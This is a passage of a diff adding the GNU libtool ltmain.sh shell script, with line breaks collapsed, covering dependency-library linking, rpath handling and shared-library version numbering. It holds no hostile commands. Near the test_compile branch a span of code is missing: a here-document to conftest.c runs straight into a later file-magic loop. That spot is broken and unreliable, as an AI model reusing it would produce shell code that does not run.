"X$hardcode_automatic" = Xyes && avoidtemprpath=yes + else + if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then + dir="$ladir" + absdir="$abs_ladir" + # Remove this search path later + notinst_path="$notinst_path $abs_ladir" + else + dir="$ladir/$objdir" + absdir="$abs_ladir/$objdir" + # Remove this search path later + notinst_path="$notinst_path $abs_ladir" + fi + fi # $installed = yes + name=`$echo "X$laname" | $Xsed -e 's/\.la$//' -e 's/^lib//'` + + # This library was specified with -dlpreopen. + if test "$pass" = dlpreopen; then + if test -z "$libdir"; then + $echo "$modename: cannot -dlpreopen a convenience library: \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + # Prefer using a static library (so that no silly _DYNAMIC symbols + # are required to link). + if test -n "$old_library"; then + newdlprefiles="$newdlprefiles $dir/$old_library" + # Otherwise, use the dlname, so that lt_dlopen finds it. + elif test -n "$dlname"; then + newdlprefiles="$newdlprefiles $dir/$dlname" + else + newdlprefiles="$newdlprefiles $dir/$linklib" + fi + fi # $pass = dlpreopen + + if test -z "$libdir"; then + # Link the convenience library + if test "$linkmode" = lib; then + deplibs="$dir/$old_library $deplibs" + elif test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$dir/$old_library $compile_deplibs" + finalize_deplibs="$dir/$old_library $finalize_deplibs" + else + deplibs="$lib $deplibs" # used for prog,scan pass + fi + continue + fi + + + if test "$linkmode" = prog && test "$pass" != link; then + newlib_search_path="$newlib_search_path $ladir" + deplibs="$lib $deplibs" + + linkalldeplibs=no + if test "$link_all_deplibs" != no || test -z "$library_names" || + test "$build_libtool_libs" = no; then + linkalldeplibs=yes + fi + + tmp_libs= + for deplib in $dependency_libs; do + case $deplib in + -L*) newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`;; ### testsuite: skip nested quoting test + esac + # Need to link against all dependency_libs? + if test "$linkalldeplibs" = yes; then + deplibs="$deplib $deplibs" + else + # Need to hardcode shared library paths + # or/and link against static libraries + newdependency_libs="$deplib $newdependency_libs" + fi + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done # for deplib + continue + fi # $linkmode = prog... + + if test "$linkmode,$pass" = "prog,link"; then + if test -n "$library_names" && + { test "$prefer_static_libs" = no || test -z "$old_library"; }; then + # We need to hardcode the library path + if test -n "$shlibpath_var" && test -z "$avoidtemprpath" ; then + # Make sure the rpath contains only unique directories. + case "$temp_rpath " in + *" $dir "*) ;; + *" $absdir "*) ;; + *) temp_rpath="$temp_rpath $absdir" ;; + esac + fi + + # Hardcode the library path. + # Skip directories that are in the system default run-time + # search path. + case " $sys_lib_dlsearch_path " in + *" $absdir "*) ;; + *) + case "$compile_rpath " in + *" $absdir "*) ;; + *) compile_rpath="$compile_rpath $absdir" + esac + ;; + esac + case " $sys_lib_dlsearch_path " in + *" $libdir "*) ;; + *) + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" + esac + ;; + esac + fi # $linkmode,$pass = prog,link... + + if test "$alldeplibs" = yes && + { test "$deplibs_check_method" = pass_all || + { test "$build_libtool_libs" = yes && + test -n "$library_names"; }; }; then + # We only need to search for static libraries + continue + fi + fi + + link_static=no # Whether the deplib will be linked statically + use_static_libs=$prefer_static_libs + if test "$use_static_libs" = built && test "$installed" = yes ; then + use_static_libs=no + fi + if test -n "$library_names" && + { test "$use_static_libs" = no || test -z "$old_library"; }; then + if test "$installed" = no; then + notinst_deplibs="$notinst_deplibs $lib" + need_relink=yes + fi + # This is a shared library + + # Warn about portability, can't link against -module's on + # some systems (darwin) + if test "$shouldnotlink" = yes && test "$pass" = link ; then + $echo + if test "$linkmode" = prog; then + $echo "*** Warning: Linking the executable $output against the loadable module" + else + $echo "*** Warning: Linking the shared library $output against the loadable module" + fi + $echo "*** $linklib is not portable!" + fi + if test "$linkmode" = lib && + test "$hardcode_into_libs" = yes; then + # Hardcode the library path. + # Skip directories that are in the system default run-time + # search path. + case " $sys_lib_dlsearch_path " in + *" $absdir "*) ;; + *) + case "$compile_rpath " in + *" $absdir "*) ;; + *) compile_rpath="$compile_rpath $absdir" + esac + ;; + esac + case " $sys_lib_dlsearch_path " in + *" $libdir "*) ;; + *) + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" + esac + ;; + esac + fi + + if test -n "$old_archive_from_expsyms_cmds"; then + # figure out the soname + set dummy $library_names + realname="$2" + shift; shift + libname=`eval \\$echo \"$libname_spec\"` + # use dlname if we got it. it's perfectly good, no? + if test -n "$dlname"; then + soname="$dlname" + elif test -n "$soname_spec"; then + # bleh windows + case $host in + *cygwin* | mingw*) + major=`expr $current - $age` + versuffix="-$major" + ;; + esac + eval soname=\"$soname_spec\" + else + soname="$realname" + fi + + # Make a new name for the extract_expsyms_cmds to use + soroot="$soname" + soname=`$echo $soroot | ${SED} -e 's/^.*\///'` + newlib="libimp-`$echo $soname | ${SED} 's/^lib//;s/\.dll$//'`.a" + + # If the library has no export list, then create one now + if test -f "$output_objdir/$soname-def"; then : + else + $show "extracting exported symbol list from \`$soname'" + save_ifs="$IFS"; IFS='~' + cmds=$extract_expsyms_cmds + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + + # Create $newlib + if test -f "$output_objdir/$newlib"; then :; else + $show "generating import library for \`$soname'" + save_ifs="$IFS"; IFS='~' + cmds=$old_archive_from_expsyms_cmds + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + # make sure the library variables are pointing to the new library + dir=$output_objdir + linklib=$newlib + fi # test -n "$old_archive_from_expsyms_cmds" + + if test "$linkmode" = prog || test "$mode" != relink; then + add_shlibpath= + add_dir= + add= + lib_linked=yes + case $hardcode_action in + immediate | unsupported) + if test "$hardcode_direct" = no; then + add="$dir/$linklib" + case $host in + *-*-sco3.2v5.0.[024]*) add_dir="-L$dir" ;; + *-*-sysv4*uw2*) add_dir="-L$dir" ;; + *-*-sysv5OpenUNIX* | *-*-sysv5UnixWare7.[01].[10]* | \ + *-*-unixware7*) add_dir="-L$dir" ;; + *-*-darwin* ) + # if the lib is a module then we can not link against + # it, someone is ignoring the new warnings I added + if /usr/bin/file -L $add 2> /dev/null | + $EGREP ": [^:]* bundle" >/dev/null ; then + $echo "** Warning, lib $linklib is a module, not a shared library" + if test -z "$old_library" ; then + $echo + $echo "** And there doesn't seem to be a static archive available" + $echo "** The link will probably fail, sorry" + else + add="$dir/$old_library" + fi + fi + esac + elif test "$hardcode_minus_L" = no; then + case $host in + *-*-sunos*) add_shlibpath="$dir" ;; + esac + add_dir="-L$dir" + add="-l$name" + elif test "$hardcode_shlibpath_var" = no; then + add_shlibpath="$dir" + add="-l$name" + else + lib_linked=no + fi + ;; + relink) + if test "$hardcode_direct" = yes; then + add="$dir/$linklib" + elif test "$hardcode_minus_L" = yes; then + add_dir="-L$dir" + # Try looking first in the location we're being installed to. + if test -n "$inst_prefix_dir"; then + case $libdir in + [\\/]*) + add_dir="$add_dir -L$inst_prefix_dir$libdir" + ;; + esac + fi + add="-l$name" + elif test "$hardcode_shlibpath_var" = yes; then + add_shlibpath="$dir" + add="-l$name" + else + lib_linked=no + fi + ;; + *) lib_linked=no ;; + esac + + if test "$lib_linked" != yes; then + $echo "$modename: configuration error: unsupported hardcode properties" + exit $EXIT_FAILURE + fi + + if test -n "$add_shlibpath"; then + case :$compile_shlibpath: in + *":$add_shlibpath:"*) ;; + *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;; + esac + fi + if test "$linkmode" = prog; then + test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs" + test -n "$add" && compile_deplibs="$add $compile_deplibs" + else + test -n "$add_dir" && deplibs="$add_dir $deplibs" + test -n "$add" && deplibs="$add $deplibs" + if test "$hardcode_direct" != yes && \ + test "$hardcode_minus_L" != yes && \ + test "$hardcode_shlibpath_var" = yes; then + case :$finalize_shlibpath: in + *":$libdir:"*) ;; + *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;; + esac + fi + fi + fi + + if test "$linkmode" = prog || test "$mode" = relink; then + add_shlibpath= + add_dir= + add= + # Finalize command for both is simple: just hardcode it. + if test "$hardcode_direct" = yes; then + add="$libdir/$linklib" + elif test "$hardcode_minus_L" = yes; then + add_dir="-L$libdir" + add="-l$name" + elif test "$hardcode_shlibpath_var" = yes; then + case :$finalize_shlibpath: in + *":$libdir:"*) ;; + *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;; + esac + add="-l$name" + elif test "$hardcode_automatic" = yes; then + if test -n "$inst_prefix_dir" && + test -f "$inst_prefix_dir$libdir/$linklib" ; then + add="$inst_prefix_dir$libdir/$linklib" + else + add="$libdir/$linklib" + fi + else + # We cannot seem to hardcode it, guess we'll fake it. + add_dir="-L$libdir" + # Try looking first in the location we're being installed to. + if test -n "$inst_prefix_dir"; then + case $libdir in + [\\/]*) + add_dir="$add_dir -L$inst_prefix_dir$libdir" + ;; + esac + fi + add="-l$name" + fi + + if test "$linkmode" = prog; then + test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs" + test -n "$add" && finalize_deplibs="$add $finalize_deplibs" + else + test -n "$add_dir" && deplibs="$add_dir $deplibs" + test -n "$add" && deplibs="$add $deplibs" + fi + fi + elif test "$linkmode" = prog; then + # Here we assume that one of hardcode_direct or hardcode_minus_L + # is not unsupported. This is valid on all known static and + # shared platforms. + if test "$hardcode_direct" != unsupported; then + test -n "$old_library" && linklib="$old_library" + compile_deplibs="$dir/$linklib $compile_deplibs" + finalize_deplibs="$dir/$linklib $finalize_deplibs" + else + compile_deplibs="-l$name -L$dir $compile_deplibs" + finalize_deplibs="-l$name -L$dir $finalize_deplibs" + fi + elif test "$build_libtool_libs" = yes; then + # Not a shared library + if test "$deplibs_check_method" != pass_all; then + # We're trying link a shared library against a static one + # but the system doesn't support it. + + # Just print a warning and add the library to dependency_libs so + # that the program can be linked against the static library. + $echo + $echo "*** Warning: This system can not link to static lib archive $lib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have." + if test "$module" = yes; then + $echo "*** But as you try to build a module library, libtool will still create " + $echo "*** a static module, that should work as long as the dlopening application" + $echo "*** is linked with the -dlopen flag to resolve symbols at runtime." + if test -z "$global_symbol_pipe"; then + $echo + $echo "*** However, this would only work if libtool was able to extract symbol" + $echo "*** lists from a program, using \`nm' or equivalent, but libtool could" + $echo "*** not find such a program. So, this module is probably useless." + $echo "*** \`nm' from GNU binutils and a full rebuild may help." + fi + if test "$build_old_libs" = no; then + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + fi + else + deplibs="$dir/$old_library $deplibs" + link_static=yes + fi + fi # link shared/static library? + + if test "$linkmode" = lib; then + if test -n "$dependency_libs" && + { test "$hardcode_into_libs" != yes || + test "$build_old_libs" = yes || + test "$link_static" = yes; }; then + # Extract -R from dependency_libs + temp_deplibs= + for libdir in $dependency_libs; do + case $libdir in + -R*) temp_xrpath=`$echo "X$libdir" | $Xsed -e 's/^-R//'` + case " $xrpath " in + *" $temp_xrpath "*) ;; + *) xrpath="$xrpath $temp_xrpath";; + esac;; + *) temp_deplibs="$temp_deplibs $libdir";; + esac + done + dependency_libs="$temp_deplibs" + fi + + newlib_search_path="$newlib_search_path $absdir" + # Link against this library + test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs" + # ... and its dependency_libs + tmp_libs= + for deplib in $dependency_libs; do + newdependency_libs="$deplib $newdependency_libs" + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done + + if test "$link_all_deplibs" != no; then + # Add the search paths of all dependency libraries + for deplib in $dependency_libs; do + case $deplib in + -L*) path="$deplib" ;; + *.la) + dir=`$echo "X$deplib" | $Xsed -e 's%/[^/]*$%%'` + test "X$dir" = "X$deplib" && dir="." + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;; + *) + absdir=`cd "$dir" && pwd` + if test -z "$absdir"; then + $echo "$modename: warning: cannot determine absolute directory name of \`$dir'" 1>&2 + absdir="$dir" + fi + ;; + esac + if grep "^installed=no" $deplib > /dev/null; then + path="$absdir/$objdir" + else + eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` + if test -z "$libdir"; then + $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + if test "$absdir" != "$libdir"; then + $echo "$modename: warning: \`$deplib' seems to be moved" 1>&2 + fi + path="$absdir" + fi + depdepl= + case $host in + *-*-darwin*) + # we do not want to link against static libs, + # but need to link against shared + eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib` + if test -n "$deplibrary_names" ; then + for tmp in $deplibrary_names ; do + depdepl=$tmp + done + if test -f "$path/$depdepl" ; then + depdepl="$path/$depdepl" + fi + # do not add paths which are already there + case " $newlib_search_path " in + *" $path "*) ;; + *) newlib_search_path="$newlib_search_path $path";; + esac + fi + path="" + ;; + *) + path="-L$path" + ;; + esac + ;; + -l*) + case $host in + *-*-darwin*) + # Again, we only want to link against shared libraries + eval tmp_libs=`$echo "X$deplib" | $Xsed -e "s,^\-l,,"` + for tmp in $newlib_search_path ; do + if test -f "$tmp/lib$tmp_libs.dylib" ; then + eval depdepl="$tmp/lib$tmp_libs.dylib" + break + fi + done + path="" + ;; + *) continue ;; + esac + ;; + *) continue ;; + esac + case " $deplibs " in + *" $path "*) ;; + *) deplibs="$path $deplibs" ;; + esac + case " $deplibs " in + *" $depdepl "*) ;; + *) deplibs="$depdepl $deplibs" ;; + esac + done + fi # link_all_deplibs != no + fi # linkmode = lib + done # for deplib in $libs + dependency_libs="$newdependency_libs" + if test "$pass" = dlpreopen; then + # Link the dlpreopened libraries before other libraries + for deplib in $save_deplibs; do + deplibs="$deplib $deplibs" + done + fi + if test "$pass" != dlopen; then + if test "$pass" != conv; then + # Make sure lib_search_path contains only unique directories. + lib_search_path= + for dir in $newlib_search_path; do + case "$lib_search_path " in + *" $dir "*) ;; + *) lib_search_path="$lib_search_path $dir" ;; + esac + done + newlib_search_path= + fi + + if test "$linkmode,$pass" != "prog,link"; then + vars="deplibs" + else + vars="compile_deplibs finalize_deplibs" + fi + for var in $vars dependency_libs; do + # Add libraries to $var in reverse order + eval tmp_libs=\"\$$var\" + new_libs= + for deplib in $tmp_libs; do + # FIXME: Pedantically, this is the right thing to do, so + # that some nasty dependency loop isn't accidentally + # broken: + #new_libs="$deplib $new_libs" + # Pragmatically, this seems to cause very few problems in + # practice: + case $deplib in + -L*) new_libs="$deplib $new_libs" ;; + -R*) ;; + *) + # And here is the reason: when a library appears more + # than once as an explicit dependence of a library, or + # is implicitly linked in more than once by the + # compiler, it is considered special, and multiple + # occurrences thereof are not removed. Compare this + # with having the same library being listed as a + # dependency of multiple other libraries: in this case, + # we know (pedantically, we assume) the library does not + # need to be listed more than once, so we keep only the + # last copy. This is not always right, but it is rare + # enough that we require users that really mean to play + # such unportable linking tricks to link the library + # using -Wl,-lname, so that libtool does not consider it + # for duplicate removal. + case " $specialdeplibs " in + *" $deplib "*) new_libs="$deplib $new_libs" ;; + *) + case " $new_libs " in + *" $deplib "*) ;; + *) new_libs="$deplib $new_libs" ;; + esac + ;; + esac + ;; + esac + done + tmp_libs= + for deplib in $new_libs; do + case $deplib in + -L*) + case " $tmp_libs " in + *" $deplib "*) ;; + *) tmp_libs="$tmp_libs $deplib" ;; + esac + ;; + *) tmp_libs="$tmp_libs $deplib" ;; + esac + done + eval $var=\"$tmp_libs\" + done # for var + fi + # Last step: remove runtime libs from dependency_libs + # (they stay in deplibs) + tmp_libs= + for i in $dependency_libs ; do + case " $predeps $postdeps $compiler_lib_search_path " in + *" $i "*) + i="" + ;; + esac + if test -n "$i" ; then + tmp_libs="$tmp_libs $i" + fi + done + dependency_libs=$tmp_libs + done # for pass + if test "$linkmode" = prog; then + dlfiles="$newdlfiles" + dlprefiles="$newdlprefiles" + fi + + case $linkmode in + oldlib) + if test -n "$deplibs"; then + $echo "$modename: warning: \`-l' and \`-L' are ignored for archives" 1>&2 + fi + + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen' is ignored for archives" 1>&2 + fi + + if test -n "$rpath"; then + $echo "$modename: warning: \`-rpath' is ignored for archives" 1>&2 + fi + + if test -n "$xrpath"; then + $echo "$modename: warning: \`-R' is ignored for archives" 1>&2 + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info/-version-number' is ignored for archives" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for archives" 1>&2 + fi + + if test -n "$export_symbols" || test -n "$export_symbols_regex"; then + $echo "$modename: warning: \`-export-symbols' is ignored for archives" 1>&2 + fi + + # Now set the variables for building old libraries. + build_libtool_libs=no + oldlibs="$output" + objs="$objs$old_deplibs" + ;; + + lib) + # Make sure we only generate libraries of the form `libNAME.la'. + case $outputname in + lib*) + name=`$echo "X$outputname" | $Xsed -e 's/\.la$//' -e 's/^lib//'` + eval shared_ext=\"$shrext_cmds\" + eval libname=\"$libname_spec\" + ;; + *) + if test "$module" = no; then + $echo "$modename: libtool library \`$output' must begin with \`lib'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + if test "$need_lib_prefix" != no; then + # Add the "lib" prefix for modules if required + name=`$echo "X$outputname" | $Xsed -e 's/\.la$//'` + eval shared_ext=\"$shrext_cmds\" + eval libname=\"$libname_spec\" + else + libname=`$echo "X$outputname" | $Xsed -e 's/\.la$//'` + fi + ;; + esac + + if test -n "$objs"; then + if test "$deplibs_check_method" != pass_all; then + $echo "$modename: cannot build libtool library \`$output' from non-libtool objects on this host:$objs" 2>&1 + exit $EXIT_FAILURE + else + $echo + $echo "*** Warning: Linking the shared library $output against the non-libtool" + $echo "*** objects $objs is not portable!" + libobjs="$libobjs $objs" + fi + fi + + if test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen self' is ignored for libtool libraries" 1>&2 + fi + + set dummy $rpath + if test "$#" -gt 2; then + $echo "$modename: warning: ignoring multiple \`-rpath's for a libtool library" 1>&2 + fi + install_libdir="$2" + + oldlibs= + if test -z "$rpath"; then + if test "$build_libtool_libs" = yes; then + # Building a libtool convenience library. + # Some compilers have problems with a `.al' extension so + # convenience libraries should have the same extension an + # archive normally would. + oldlibs="$output_objdir/$libname.$libext $oldlibs" + build_libtool_libs=convenience + build_old_libs=yes + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info/-version-number' is ignored for convenience libraries" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for convenience libraries" 1>&2 + fi + else + + # Parse the version information argument. + save_ifs="$IFS"; IFS=':' + set dummy $vinfo 0 0 0 + IFS="$save_ifs" + + if test -n "$8"; then + $echo "$modename: too many parameters to \`-version-info'" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + # convert absolute version numbers to libtool ages + # this retains compatibility with .la files and attempts + # to make the code below a bit more comprehensible + + case $vinfo_number in + yes) + number_major="$2" + number_minor="$3" + number_revision="$4" + # + # There are really only two kinds -- those that + # use the current revision as the major version + # and those that subtract age and use age as + # a minor version. But, then there is irix + # which has an extra 1 added just for fun + # + case $version_type in + darwin|linux|osf|windows) + current=`expr $number_major + $number_minor` + age="$number_minor" + revision="$number_revision" + ;; + freebsd-aout|freebsd-elf|sunos) + current="$number_major" + revision="$number_minor" + age="0" + ;; + irix|nonstopux) + current=`expr $number_major + $number_minor - 1` + age="$number_minor" + revision="$number_minor" + ;; + esac + ;; + no) + current="$2" + revision="$3" + age="$4" + ;; + esac + + # Check that each of the things are valid numbers. + case $current in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + $echo "$modename: CURRENT \`$current' must be a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $revision in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + $echo "$modename: REVISION \`$revision' must be a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + case $age in + 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;; + *) + $echo "$modename: AGE \`$age' must be a nonnegative integer" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + ;; + esac + + if test "$age" -gt "$current"; then + $echo "$modename: AGE \`$age' is greater than the current interface number \`$current'" 1>&2 + $echo "$modename: \`$vinfo' is not valid version information" 1>&2 + exit $EXIT_FAILURE + fi + + # Calculate the version variables. + major= + versuffix= + verstring= + case $version_type in + none) ;; + + darwin) + # Like Linux, but with the current version available in + # verstring for coding it into the library header + major=.`expr $current - $age` + versuffix="$major.$age.$revision" + # Darwin ld doesn't like 0 for these options... + minor_current=`expr $current + 1` + verstring="${wl}-compatibility_version ${wl}$minor_current ${wl}-current_version ${wl}$minor_current.$revision" + ;; + + freebsd-aout) + major=".$current" + versuffix=".$current.$revision"; + ;; + + freebsd-elf) + major=".$current" + versuffix=".$current"; + ;; + + irix | nonstopux) + major=`expr $current - $age + 1` + + case $version_type in + nonstopux) verstring_prefix=nonstopux ;; + *) verstring_prefix=sgi ;; + esac + verstring="$verstring_prefix$major.$revision" + + # Add in all the interfaces that we are compatible with. + loop=$revision + while test "$loop" -ne 0; do + iface=`expr $revision - $loop` + loop=`expr $loop - 1` + verstring="$verstring_prefix$major.$iface:$verstring" + done + + # Before this point, $major must not contain `.'. + major=.$major + versuffix="$major.$revision" + ;; + + linux) + major=.`expr $current - $age` + versuffix="$major.$age.$revision" + ;; + + osf) + major=.`expr $current - $age` + versuffix=".$current.$age.$revision" + verstring="$current.$age.$revision" + + # Add in all the interfaces that we are compatible with. + loop=$age + while test "$loop" -ne 0; do + iface=`expr $current - $loop` + loop=`expr $loop - 1` + verstring="$verstring:${iface}.0" + done + + # Make executables depend on our current version. + verstring="$verstring:${current}.0" + ;; + + sunos) + major=".$current" + versuffix=".$current.$revision" + ;; + + windows) + # Use '-' rather than '.', since we only want one + # extension on DOS 8.3 filesystems. + major=`expr $current - $age` + versuffix="-$major" + ;; + + *) + $echo "$modename: unknown library version type \`$version_type'" 1>&2 + $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2 + exit $EXIT_FAILURE + ;; + esac + + # Clear the version info if we defaulted, and they specified a release. + if test -z "$vinfo" && test -n "$release"; then + major= + case $version_type in + darwin) + # we can't check for "0.0" in archive_cmds due to quoting + # problems, so we reset it completely + verstring= + ;; + *) + verstring="0.0" + ;; + esac + if test "$need_version" = no; then + versuffix= + else + versuffix=".0.0" + fi + fi + + # Remove version info from name if versioning should be avoided + if test "$avoid_version" = yes && test "$need_version" = no; then + major= + versuffix= + verstring="" + fi + + # Check to see if the archive will have undefined symbols. + if test "$allow_undefined" = yes; then + if test "$allow_undefined_flag" = unsupported; then + $echo "$modename: warning: undefined symbols not allowed in $host shared libraries" 1>&2 + build_libtool_libs=no + build_old_libs=yes + fi + else + # Don't allow undefined symbols. + allow_undefined_flag="$no_undefined_flag" + fi + fi + + if test "$mode" != relink; then + # Remove our outputs, but don't remove object files since they + # may have been created when compiling PIC objects. + removelist= + tempremovelist=`$echo "$output_objdir/*"` + for p in $tempremovelist; do + case $p in + *.$objext) + ;; + $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/${libname}${release}.*) + if test "X$precious_files_regex" != "X"; then + if echo $p | $EGREP -e "$precious_files_regex" >/dev/null 2>&1 + then + continue + fi + fi + removelist="$removelist $p" + ;; + *) ;; + esac + done + if test -n "$removelist"; then + $show "${rm}r $removelist" + $run ${rm}r $removelist + fi + fi + + # Now set the variables for building old libraries. + if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then + oldlibs="$oldlibs $output_objdir/$libname.$libext" + + # Transform .lo files to .o files. + oldobjs="$objs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}'$/d' -e "$lo2o" | $NL2SP` + fi + + # Eliminate all temporary directories. + for path in $notinst_path; do + lib_search_path=`$echo "$lib_search_path " | ${SED} -e "s% $path % %g"` + deplibs=`$echo "$deplibs " | ${SED} -e "s% -L$path % %g"` + dependency_libs=`$echo "$dependency_libs " | ${SED} -e "s% -L$path % %g"` + done + + if test -n "$xrpath"; then + # If the user specified any rpath flags, then add them. + temp_xrpath= + for libdir in $xrpath; do + temp_xrpath="$temp_xrpath -R$libdir" + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" ;; + esac + done + if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then + dependency_libs="$temp_xrpath $dependency_libs" + fi + fi + + # Make sure dlfiles contains only unique files that won't be dlpreopened + old_dlfiles="$dlfiles" + dlfiles= + for lib in $old_dlfiles; do + case " $dlprefiles $dlfiles " in + *" $lib "*) ;; + *) dlfiles="$dlfiles $lib" ;; + esac + done + + # Make sure dlprefiles contains only unique files + old_dlprefiles="$dlprefiles" + dlprefiles= + for lib in $old_dlprefiles; do + case "$dlprefiles " in + *" $lib "*) ;; + *) dlprefiles="$dlprefiles $lib" ;; + esac + done + + if test "$build_libtool_libs" = yes; then + if test -n "$rpath"; then + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos*) + # these systems don't actually have a c library (as such)! + ;; + *-*-rhapsody* | *-*-darwin1.[012]) + # Rhapsody C library is in the System framework + deplibs="$deplibs -framework System" + ;; + *-*-netbsd*) + # Don't link with libc until the a.out ld.so is fixed. + ;; + *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) + # Do not include libc due to us having libc/libc_r. + ;; + *-*-sco3.2v5* | *-*-sco5v6*) + # Causes problems with __ctype + ;; + *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) + # Compiler inserts libc in the correct place for threads to work + ;; + *) + # Add libc to deplibs on all other systems if necessary. + if test "$build_libtool_need_lc" = "yes"; then + deplibs="$deplibs -lc" + fi + ;; + esac + fi + + # Transform deplibs into only deplibs that can be linked in shared. + name_save=$name + libname_save=$libname + release_save=$release + versuffix_save=$versuffix + major_save=$major + # I'm not sure if I'm treating the release correctly. I think + # release should show up in the -l (ie -lgmp5) so we don't want to + # add it in twice. Is that correct? + release="" + versuffix="" + major="" + newdeplibs= + droppeddeps=no + case $deplibs_check_method in + pass_all) + # Don't check for shared/static. Everything works. + # This might be a little naive. We might want to check + # whether the library exists or not. But this is on + # osf3 & osf4 and I'm not really sure... Just + # implementing what was already the behavior. + newdeplibs=$deplibs + ;; + test_compile) + # This code stresses the "libraries are programs" paradigm to its + # limits. Maybe even breaks it. We compile a program, linking it + # against the deplibs as a proxy for the library. Then we can check + # whether they linked in statically or dynamically with ldd. + $rm conftest.c + cat > conftest.c </dev/null` + for potent_lib in $potential_libs; do + # Follow soft links. + if ls -lLd "$potent_lib" 2>/dev/null \ + | grep " -> " >/dev/null; then + continue + fi + # The statement above tries to avoid entering an + # endless loop below, in case of cyclic links. + # We might still enter an endless loop, since a link + # loop can be closed while we follow links, + # but so what? + potlib="$potent_lib" + while test -h "$potlib" 2>/dev/null; do + potliblink=`ls -ld $potlib | ${SED} 's/.* -> //'` + case $potliblink in + [\\/]* | [A-Za-z]:[\\/]*) potlib="$potliblink";; + *) potlib=`$echo "X$potlib" | $Xsed -e 's,[^/]*$,,'`"$potliblink";; + esac + done + if eval $file_magic_cmd \"\$potlib\" 2>/dev/null \ + | ${SED} 10q \ + | $EGREP "$file_magic_regex" > /dev/null; then + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + break 2 + fi + done + done + fi + if test -n "$a_deplib" ; then + droppeddeps=yes + $echo + $echo "*** Warning: linker path does not have real file for library $a_deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because I did check the linker path looking for a file starting" + if test -z "$potlib" ; then + $echo "*** with $libname but no candidates were found. (...for file magic test)" + else + $echo "*** with $libname and none of the candidates passed a file format test" + $echo "*** using a file magic. Last file checked: $potlib" + fi + fi + else + # Add a -L argument. + newdeplibs="$newdeplibs $a_deplib" + fi + done # Gone through all deplibs. + ;; + match_pattern*) + set dummy $deplibs_check_method + match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"` + for a_deplib in $deplibs; do + name=`expr $a_deplib : '-l\(.*\)'` + # If $name is empty we are operating on a -L argument. + if test -n "$name" && test "$name" != "0"; then + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $a_deplib "*) + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + ;; + esac + fi + if test -n "$a_deplib" ; then + libname=`eval \\$echo \"$libname_spec\"` + for i 